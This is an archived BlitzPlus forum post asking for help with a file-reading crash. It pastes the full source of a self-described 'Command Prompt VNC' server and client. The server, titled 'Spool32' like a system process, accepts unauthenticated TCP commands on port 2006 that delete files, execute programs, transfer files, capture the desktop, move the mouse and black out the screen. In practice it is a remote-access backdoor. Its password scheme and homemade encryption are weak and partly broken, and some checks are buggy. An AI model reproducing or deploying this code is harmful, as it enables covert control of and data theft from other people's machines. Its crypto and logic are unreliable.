Readstring$ from files

BlitzPlus Forums/BlitzPlus Bug Reports/Readstring$ from files

The forum is locked. These are the original blitzbasic.com forums, kept so they can still be read. No new topics, replies or edits can be made here. To join in, head over to the Blitz3D+ forums.

Okay, I am making a Command Prompt VNC. I need 3 funcs. Upload, download, and screenshot. I am using a loop to readstrings from the file and send them to the server. On some Pc's (winxp only) it works perfect, others, it returns an illegal operation on blitzcc. This is B+ code...

[code=blitzplus]

;command server
AppTitle "Spool32"
Global server=CreateTCPServer(2006)
If Not server
End
EndIf

Type connection
Field stream,id,timer
End Type
Id=0
ChangeDir("c:\")

While Not done
Delay 10
tcp=AcceptTCPStream(server)
If tcp
c.connection=New connection
c\stream=tcp
c\id=id
c\timer=CreateTimer(1)
id=id+1
EndIf

For c.connection=Each connection

If ReadAvail(c\stream) > 0
ResetTimer(c\timer)
k$=ReadLine$(c\stream)

If Left$(k$,6)="delete"

file$=Mid$(k$,8,Len(k$))

If FileType(file$)=1
DeleteFile file$
WriteLine c\stream,"Deleted"
Else

WriteLine c\stream,"Cannot delete"
EndIf



ElseIf k$="blackout"
fudge=False
Graphics 800,600,16,1
Repeat
If ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
If tmp$="okay"

EndGraphics
fudge=True
Exit
EndIf
EndIf
Until fudge=True
ElseIf k$="CRD"
WriteLine c\stream,"ok"
Repeat
Until ReadAvail(c\stream)
nd$=ReadLine$(c\stream)
CreateDir(nd$)
If FileType(nd$)=2
WriteLine c\stream,"ok"
Else
WriteLine c\stream,"nope"
EndIf


ElseIf k$="lc"
WriteLine c\stream,"ready"
Repeat
Until ReadAvail(c\stream) > 0
file1$=ReadLine$(c\stream)
file2$=ReadLine$(c\stream)
If FileType(file1$) = 1
CopyFile file1$,file2$
If FileType(file2$) = 1
WriteLine c\stream,"ok"
Else
WriteLine c\stream,"Invalad Directory"
EndIf
Else
WriteLine c\stream,"NFS"
EndIf
ElseIf k$="download" ;were really the ones sending...

WriteLine c\stream,"ok"

Repeat
Until ReadAvail(c\stream) > 0
filetosend$=ReadLine$(c\stream)
If FileType(filetosend$) =1
WriteLine c\stream,"good"

Repeat
Until ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
If tmp$="ready"
file4=ReadFile(filetosend$)
While Not Eof(file4)
Delay 10
temp$=ReadString$(file4)
WriteString c\stream,temp$
Wend
WriteString c\stream,"done"

EndIf
Else
WriteLine c\stream,"nope"
EndIf




ElseIf k$="rc"

directory$=CurrentDir$()
Repeat
Until ReadAvail(c\stream) > 0
loc$=ReadLine$(c\stream)
file=WriteFile(directory$+loc$)
WriteLine c\stream,"ready"
bhope=False
Repeat
Delay 10
If ReadAvail(c\stream) > 0
tmp$=ReadString$(c\stream)
If tmp$ <> "done"

WriteString file,tmp$
Else
bhope=True
Exit
EndIf
EndIf
Until bhope=True
CloseFile file
WriteLine c\stream,"ok"







ElseIf Left$(k$,5)="mouse"

x=Mid$(k$,Instr(k$,">")+1,Instr(k$,"|"))

y=Mid$(k$,Instr(k$,"|")+1,Len(k$))

MoveMouse x,y

ShowPointer()
WriteLine c\stream,"Mouse relocated"


ElseIf k$="prompt"
WriteLine c\stream,"ok"
Repeat
Until ReadAvail(c\stream) > 0
tmp$=ReadLine$(c\stream)
message$=prompt$(tmp$)
If message$ <> ""
WriteLine c\stream,message$
Else
WriteLine c\stream,"NP"
EndIf



ElseIf k$="gone"
Delete c
ElseIf Left$(k$,7)="display"
Notify Mid$(k$,9,Len(k$))

WriteLine c\stream,"Notified"
ElseIf Left$(k$,4)="file"

ExecFile Mid$(k$,6,Len(k$))

WriteLine c\stream,"executed"
ElseIf k$="dir/w"
kk$=""
WriteLine c\stream,"recieve"
WriteLine c\stream,CurrentDir()
dir=ReadDir(CurrentDir())
Repeat
If MoreFiles(dir)
kk$=NextFile$(dir)

Select FileType(kk$)
Case 1;file
WriteLine c\stream,"File: "+kk$
Case 2
WriteLine c\stream,"Directory: "+kk$
End Select
EndIf
Until MoreFiles(dir)=0
WriteLine c\stream,"No more files in this directory"

ElseIf Left$(k$,2)="cd"
newdir$=Mid$(k$,4,Len(k$))
If FileType(newdir$)=2
ChangeDir newdir$
WriteLine c\stream,"okay"
WriteLine c\stream,CurrentDir()
Else
WriteLine c\stream,"nope"
EndIf
ElseIf k$="desktop"
ShowPointer()
SaveBuffer DesktopBuffer(),"c:\desktop.bmp"
ShowPointer()
file=ReadFile("c:\desktop.bmp")
WriteLine c\stream,"recieve"
While Not Eof(file)
Delay 10
temp$=ReadString$(file)
WriteString c\stream,temp$
Wend
WriteString c\stream,"done"
CloseFile file

EndIf
EndIf
Next
Wend

Function prompt$(title$) ;this is the same as the javascript prompt, which is useful as it is an 'input' for GUI

done=False
window=CreateWindow(title$,0,0,300,150,0,0001)
t=CreateTextField(0,0,300,20,window)
okay=CreateButton("Okay",ClientWidth(window)-100,40,100,20,window,4)
ActivateGadget t


While Not done
k=WaitEvent()
If EventID() = $803
pp$=""
FreeGadget window
Goto hope

ElseIf EventID() = $401
If EventSource() = okay
pp$=TextFieldText(t)
FreeGadget window
done=True
Exit
EndIf




EndIf
Wend

.hope
Return pp$
End Function


[/code]

that is the server, which Windows XP returns an illegal op..

[code=blitzplus]

;bmps supported.
;exe's supported
;doc's not
;mp3 not
;wav not
;wma not
;png not
;jpg not
;zip freezes. Not restricted though
;txt not

Global tcp
.oops
ip$=Input$("Enter host IP: ")
tcp=OpenTCPStream(ip$,2006)
If Not tcp
Print "Unable to connect to remote host"
Goto oops
EndIf
Global directory$="c:\"
Print ""
Print "Connected to "+ip$
Repeat

Print ""
command$=Input$("Enter Command: ")
command$=Lower$(command$)
Select command$
Case "prompt"
Print ""
ps$=Input$("Message to prompt: ")
WriteLine tcp,"prompt"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
WriteLine tcp,ps$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$ <> "NP"
Print "Reply: "+tmp$
Else
Print "No Reply from remote computer"
EndIf
EndIf
Case "changepw"
Print ""
file89=WriteFile("Pak3.dat")
WriteLine file89,encrypt$(Input$("New PW"))
CloseFile file89
Print "Password Changed"



Case "delete"
Print ""
file$=Input$("Enter a file to be deleted: ")
WriteLine tcp,"delete>"+file$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Deleted"
Print "File sucessfully deleted"
ElseIf tmp$="Cannot delete"
Print "Unable to delete file"
EndIf
Print ""

Case "mouse"
Print ""
x=Input$("Enter an 'x' coordinate: ")
y=Input$("Enter an 'y' coordinate: ")
WriteLine tcp,"mouse>"+x+"|"+y
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Mouse relocated"
Print "Mouse moved"
EndIf
Print ""
Case "end"
WriteLine tcp,"gone"
End
Case "display"
Print ""
tmp$=Input$("Enter a sentence to be displayed: ")
WriteLine tcp,"display>"+tmp$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="Notified"
Print "Message Displayed"
EndIf
Print ""
Case "file"
Print ""
file$=Input$("Enter a file to be executed: ")
WriteLine tcp,"file>"+file$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="executed"
Print "Program executed"
EndIf
Print ""
Case "cd"
Print ""
Print "Current directory: "+directory$
newdir$=Input$("Enter new directory: ")

WriteLine tcp,"cd>"+Newdir$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="okay"

Repeat
Until ReadAvail(tcp)
directory$=ReadLine$(tcp)
Print "New directory: "+directory$


Else

Print "Directory dosn't exist"
EndIf
Print ""
Case "desktop"
Print ""
dtop()

Print "User's desktop Downloaded"
ExecFile "c:\tmp.bmp"
Print ""

Case "download"

hit=False
file$=Input$("File to download: ")
If Right$(file$,3) <> "exe" Or Right$(file$,3) <> "bmp"
Print "Can only download .exe files or .bmp files"
Goto hoh
EndIf
WriteLine tcp,"download"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)

If tmp$="ok"
WriteLine tcp,find$(file$)
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="good"
WriteLine tcp,"ready"
file22=WriteFile("c:\tmp.tmp")
While Not g$="done"
If ReadAvail(tcp) > 0
Delay 10
g$=ReadString$(tcp)
If g$="done"
hit=True
Exit
Else
Print "Downloading..."
WriteString file22,g$
EndIf
EndIf
Wend
CloseFile file22
fi$=RequestFile("Download to: ","exe,bmp",1)
CopyFile "c:\tmp.tmp",fi$
DeleteFile "c:\tmp.tmp"
Print "File Successfully Downloaded"
Else
Print "Invalad File/Cannot copy whole folders"
Goto hoh
EndIf
EndIf









.hoh
Case "upload"
Print ""
file$=RequestFile("Open a file to send to the remote computer's current directory","exe,bmp")
If FileType(file$) =0

Print "Invalad Filename"
Goto ger
EndIf
If Right$(file$,3) <> "exe" Or Right$(file$,3) <> "bmp"
Print "Can only download .exe files or .bmp files"
Goto ger
EndIf
f=ReadFile(file$)
WriteLine tcp,"rc"
WriteLine tcp,find$(file$)
n=0
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ready"
While Not Eof(f)
Delay 10
WriteString tcp,ReadString$(f)
Select n
Case 0
Print "Sending"
n=n+1
Case 1
Print "Sending."
n=n+1
Case 2
Print "Sending.."
n=n+1
Case 3
Print "Sending..."
n=0
End Select


Wend
CloseFile f
WriteString tcp,"done"
EndIf
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
Print "File sucessfully uploaded"
Else
Print "Unable to save file"
EndIf
Print ""
.ger
Case "blackout"
WriteLine tcp,"blackout"
Print "Blackout in progress"
Input$("Press [enter] to remove the blackout")

WriteLine tcp,"okay"
Print "Blackout removed"

Case "localcopy"
Print ""
jp$=Input$("Enter copy command: ")

file1$=Mid$(jp$,0,Instr(jp$,"*"))
file2$=Mid$(jp$,Instr(jp$,"*")+1,Len(jp$))

WriteLine tcp,"lc"
Repeat
Until ReadAvail(tcp)
tmp$=ReadLine$(tcp)
If tmp$="ready"
WriteLine tcp,file1$
WriteLine tcp,file2$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
Print "File successfully copied"
ElseIf tmp$="Invalad Directory"
Print "The folder you want to copy to does not exist"
ElseIf tmp$="FNS"
Print "The file does not exist"
EndIf

EndIf

Print ""
Case "createdir"
Print ""
nd$=Input$("Enter directory to be created with path: ")
WriteLine tcp,"CRD"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="ok"
WriteLine tcp,nd$
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)

If tmp$="ok"
Print "Directory Created"
Else
Print "Invalad Path"
EndIf
EndIf
Print ""





Case "dir/w"
ggg=False
Print ""
WriteLine tcp,"dir/w"
Repeat
Until ReadAvail(tcp) > 0
tmp$=ReadLine$(tcp)
If tmp$="recieve"
Repeat
Until ReadAvail(tcp) > 0
directory$=ReadLine$(tcp)
Print "Current files and folders in "+ directory$
Repeat

john$= ReadLine$(tcp)
If john$ <> "No more files in this directory"
Print john$
Else
ggg=True
Exit
EndIf


Until ggg=True
Print "No more files in this directory"
Print ""
EndIf
Default
Print ""
Print "Invalad Command"
Print ""
Print ""
help()
End Select
Forever


Function find$(song$)
Repeat
If Instr(song$,"\") > 0

pos2=Instr(song$,"\")+1
song$=Mid$(song$,pos2,Len(song$))

EndIf
Until Instr(song$,"\") =0
Return song$
End Function

Function help()
Print "[file]"
Print "Executes a file on the remote computer"
Print ""
Print "[delete]"
Print "Deletes a file on the remote computer"
Print ""
Print "[mouse]"
Print "Relocates the remote mouse"
Print ""
Print "[end]"
Print "Closes the program"
Print ""
Print "[cd]"
Print "Changes current directory on remote computer"
Print ""
Print "[desktop]"
Print "Downloads a screenshot of the remote computer's desktop"
Print ""
Print "[download]"
Print "Downloads a specified file from the remote computer"
Print ""
Print "[upload]"
Print "Uploads a specified file to the remote computer"
Print ""
Print "[blackout]"
Print "Turns off remote monitor until requested on"
Print ""
Print "[localcopy]"
Print "Copies files from the remote computer to the remote computer"
Print "Code: file1.bmp*c:\file2.bmp"
Print ""
Print "[createdir]"
Print "Creats a new folder on the remote computer"
Print ""
Print "[changepw]"
Print "Changes security passcode"
Print ""
Print "[dir/w]"
Print "Lists ALL files and folders in the current directory"
Print ""
End Function

Function dtop()
DeleteFile "c:\tmp.bmp"
WriteLine tcp,"desktop"
Repeat
Until ReadAvail(tcp)
file=WriteFile("c:\tmp.bmp")
tmp$=ReadLine$(tcp)
If tmp$="recieve"
georgey=False
Repeat
Delay 10
If ReadAvail(tcp) > 0
b$=ReadString$(tcp)
If b$ <> "done"
WriteString file,b$
Else
georgey=True
Exit
EndIf
EndIf
Until georgey=True
EndIf
CloseFile file
End Function
Function encrypt$(s$)
key=Rand(1,Rand(9,Rand(99,Rand(999,Rand(999,Rand(9999,Rand(99999)))))));lets get a random number
hour=Left(CurrentTime(),2)
key=key+hour
year=Right(CurrentDate(),4)
key=key+year
For i=1 To Len(s$);for 1 to the length of the string

b=Asc(Mid(s$,i,1));turn each letter into ascii(encrypted letter)

xior=Abs(170174656+(key+2006));take a cool number and add it to the key


t$=t$+(b*key)+"~";lets mutuply the ascii letter by the key and add a "~" to let us know that the letter is ended







Next;move to the next letter
t$=Str(xior)+"~"+t$;t = the encrypted letter

Return t$;return it
End Function


Function decrypt$(s$)



key=Left(s$,Instr(s$,"~"));lets get the encrypted key

nk=Abs(170174656-(key-2006));decrypt the key

mnop$=Mid(s$,Instr(s$,"~")+1,Len(s$));get rid of the key from the actual string
;works first time

.o ;a reference point (alternative to loop that can get out of hand)
If Len(mnop$) > 1 ;as long as there are letters to decrypt


job=Left(mnop$,Instr(mnop$,"~")-1);get the letter
bob=job/nk;devide it by the key



c$=c$+Chr$(bob);turn it back into a letter

mnop$=Mid(mnop$,Instr(mnop$,"~")+1,Len(mnop$));remove the letter we just decrypted



Goto o;go back to see it there is any more











EndIf;guess there aren't any more
Return c$;return it
End Function

[/code]

that is my client...

Remember, works on some perfectly, others, returns illegal op.
\
-munro